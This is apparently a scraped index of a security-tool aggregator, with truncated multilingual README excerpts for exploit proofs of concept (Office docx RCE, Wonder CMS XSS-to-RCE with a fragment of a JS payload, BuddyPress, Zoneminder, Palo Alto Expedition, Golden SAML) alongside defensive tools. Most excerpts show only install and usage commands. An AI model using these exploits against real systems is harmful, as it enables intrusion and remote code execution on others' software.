CVE-2021-40444-exp

CVE-2021-40444 PoC Generador de documentos docx maliciosos para explotar CVE-2021-40444 Ejecución remota de código en Microsoft Office Word La creación de este script se basa en ingeniería inversa sobre la muestra utilizada en ataques reales:...

CVE-2023-41425

https://sploitus.com/exploit?id=3A833277-4844-5F02-AFEF-5EA6BA8AC1AC Wonder CMS RCE | | 描述：XSS到RCE，Wonder CMS 3.2.0 evil/evil.php EOF root@kitploit: zip -r evil.zip evil/ JS payload that will install the new theme root@kitploit: cat xssrce.js var xhr=new XMLHttpRequest; xhr.open"GET",...

KubeStalk

KubeStalk KubeStalk is a tool to discover Kubernetes and related infrastructure based attack surface from a black-box perspective. This tool is a community version of the tool used to probe for unsecured Kubernetes clusters around the internet during Project Resonance - Wave 9. Usage The GIF belo...

KubeStalk

KubeStalk KubeStalk 是一款从黑盒视角发现 Kubernetes 及关联基础设施攻击面的工具。该工具是在 Project Resonance - Wave 9 期间用于探测互联网上不安全 Kubernetes 集群的社区版本。 使用方式 下面的 GIF 演示了该工具的使用方式： 安装 KubeStalk 使用 Python 编写，需要 requests 库。 要安装该工具，你可以将仓库克隆到任意目录： root@kitploit: git clone https://github.com/redhuntlabs/kubestalk 克隆后，你需要使用 python3 -...

CVE-2021-21389

CVE-2021-21389 BuddyPress 7.2.1 - REST API 权限提升至 RCE PoC（完整） 受影响的版本：5.0.0 至 7.2.0 用户要求：订阅者用户 方法：通过 REST API 将权限提升至管理员并触发 RCE 端点：/v1/members/me 端点。 如何使用 Docker root@kitploit: git clone https://github.com/HoangKien1020/CVE-2021-21389 cd CVE-2021-21389/ docker build . -t...

cve-2019-14540-exploit

CVE-2019-14540 Exploit http://www.leadroyal.cn/?p=939 Limitación del entorno: debido a que esta demo utiliza el método de explotación ldap de jndi, se necesita usar una versión baja menor a 8u191 del jdk. 1. Usar marshalsec para crear un servicio ldap en el puerto local 1389, apuntando al servici...

isowall

isowall This is a mini-firewall that completely isolates a target device from the local network. This is for allowing infected machines Internet access, but without endangering the local network. Building This project depends upon libpcap, and of course a C compiler. On Debian, the following shou...

behave

Behave! A Still in Development monitoring browser extension for pages acting as bad boys. NB : This is the code repository of the project, if you're looking for the packed extensions: Firefox: https://addons.mozilla.org/en-US/firefox/addon/behave/ Chrome:...

RATDecoders

RATDecoders Malconf 是一个 python3 库，可用于静态分析特定恶意软件家族，并提取事件响应人员在事件处理期间可以使用的配置数据。 作为一个库，它也可以被安装到自动化恶意软件分析管道中。 安装 依赖要求 有一些先决条件已包含在 pip setup 和 requirements.txt 中。 pefile pbkdf2 javaobj-py3 pycrypto androguard 对于所有解码器，你需要 yara 和 yara-python。要处理 .NET 恶意软件，你需要安装带 dotnet 支持的 yara-python 带 dotnet 支持的...

zoneminder-snapshots-rce-poc

Zoneminder 通过快照的未授权远程代码执行 CVE-2023-26035 POC 这是一个用Python编写的脚本，允许利用Zoneminder 的安全漏洞，该漏洞描述于CVE-2023-26035 。该系统在1.36.33 和1.37.33 之前的版本中易受攻击。 使用方法 克隆仓库到你的机器，并使用pip 安装依赖项（建议使用virtualenv 创建一个环境，将这些安装与全局安装隔离开来） root@kitploit: git clone https://github.com/m3m0o/zoneminder-snapshots-rce-poc cd...

CVE-2023-23752

CVE-2023-23752 Joomla! v4.2.8 - 未授权信息泄露 要执行此脚本，我们需要安装几个缺少的 gem： root@kitploit: sudo gem install httpx sudo gem install docopt sudo gem install paint root@kitploit: ruby exploit.rb http://dev.devvortex.htb...

CVE-2020-14882-weblogicRCE

检测 Oracle WebLogic Server 中的远程代码执行 RCE CVE-2020-14882 / CVE-2020-14750 摘要： 检测针对 CVE-2020-14882 和 CVE-2020-14750 的利用尝试 - Oracle WebLogic Server 中的未授权远程代码执行。 参考： Oracle 安全公告： CVE-2020-14882 https://www.oracle.com/security-alerts/cpuoct2020traditional.html CVE-2020-14750...

CVE-2024-9464

CVE-2024-9464: Palo Alto Expedition 认证命令注入 利用CVE-2024-9464在易受攻击设备上的概念验证。此脚本链式使用CVE-2024-5910的管理员重置，实现"未认证"的任意命令执行。 博客文章 根本原因和入侵指标此处： https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/ 用法 root@kitploit: % python3 CVE-2024-9464.py -h usage: CVE-2024-9464.py ...

headerpwn

headerpwn 一个用于分析服务器对不同HTTP头响应的模糊测试工具。 🏗️ 安装 ⛏️ 使用 📡 通过Burp Suite代理HTTP请求 安装 要安装 headerpwn，请运行以下命令： root@kitploit: go install github.com/devanshbatham/[email protected] 使用 headerpwn 允许你在目标 URL 上测试各种请求头并分析响应。以下是使用该工具的方法： 1. 使用 -url 参数提供目标 URL。 2. 创建一个文件，包含要测试的请求头，每行一个。使用 -headers 参数指定该文件的路径。...

headerpwn

headerpwn A fuzzer for analyzing how servers respond to different HTTP headers. 🏗️ Install ⛏️ Usage 📡 Proxying HTTP Requests Install To install headerpwn, run the following command: root@kitploit: go install github.com/devanshbatham/[email protected] Usage headerpwn allows you to test various...

WebminRCE-exploit

WebminRCE-exploit CVE-2022-0824, CVE-2022-0829 - 文件管理器权限利用 用于测试此PoC的易受攻击应用程序可在此处找到：here，以Docker镜像形式提供。 前提条件： Python3 Requests module 描述 漏洞 不正确的访问控制导致远程代码执行 安全用户（低权限用户）可以访问文件管理器模块，而该模块默认可被限制访问。 利用载荷 利用不正确的访问控制漏洞，将cgi文件上传到Webmin服务器。 阶段1（身份验证） 使用安全/低权限用户进行身份验证并登录服务器。 阶段2（将文件下载到服务器）...

shimit

shimit shimit 是一个实现 Golden SAML 攻击的 Python 工具。更多信息可在我们博客中的以下文章中找到。 root@kitploit: python .\shimit.py -h usage: shimit.py -h -pk KEY -c CERT -sp SP -idp IDP -u USER -reg REGION --SessionValidity SESSIONVALIDITY --SamlValidity SAMLVALIDITY -n SESSIONNAME -r ROLES -id ARN -o OUTFILE -l LOADFILE -t...

CVE-2021-3060

CVE-2021-3060 POC/漏洞利用 描述： PAN-OS 软件的简单证书注册协议（SCEP）功能中存在一个操作系统命令注入漏洞，允许未经身份验证的网络攻击者（只要知道防火墙配置）以 root 用户权限执行任意代码。攻击者必须能够访问 GlobalProtect 接口才能利用此问题。该漏洞影响：早于 PAN-OS 8.1.20-h1 的 PAN-OS 8.1 版本；早于 PAN-OS 9.0.14-h3 的 PAN-OS 9.0 版本；早于 PAN-OS 9.1.11-h2 的 PAN-OS 9.1 版本；早于 PAN-OS 10.0.8 的 PAN-OS 10.0 版本；早于...

CVE-2013-3664_MAC

Sketchup MAC Pict 材质调色板栈损坏 - CVE-2013-3664 SketchUp 在解析嵌入的 MACPict 纹理时未能验证输入。恶意纹理、缩略图或背景图像触发栈溢出后，可证明能够执行任意代码。当 Windows 资源管理器读取 .skp 文件中的嵌入缩略图时，也可能触发此问题。 摘要 标题: Sketchup MAC Pict 材质调色板栈损坏 CVE ID: CVE-2013-3664 永久链接: http://www.binamuse.com/advisories/BINA-20130521A.txt 公告发布日期: 2013-05-23 类别:...

CVE-2023-43154-PoC

CVE-2023-43154 - Macs Framework v1.1.4f CMS 类型混淆漏洞 目录 1. 概述 2. 概念验证 3. 技术简报 4. 缓解措施 概述 CVE-ID : CVE-2023-43154 CVSS 3.1 : 9.8 漏洞描述 : isValidLogin 函数中的松散比较导致 PHP 类型混淆漏洞，可被利用来绕过身份验证并接管管理员账户。 受影响参数 : CMS 上用户的用户名和密码。 受影响产品 : Macs Framework v1.14f - 内容管理系统 限制条件 : 1. 受害者账户的用户名必须事先已知或是一个类似零的字符串 2...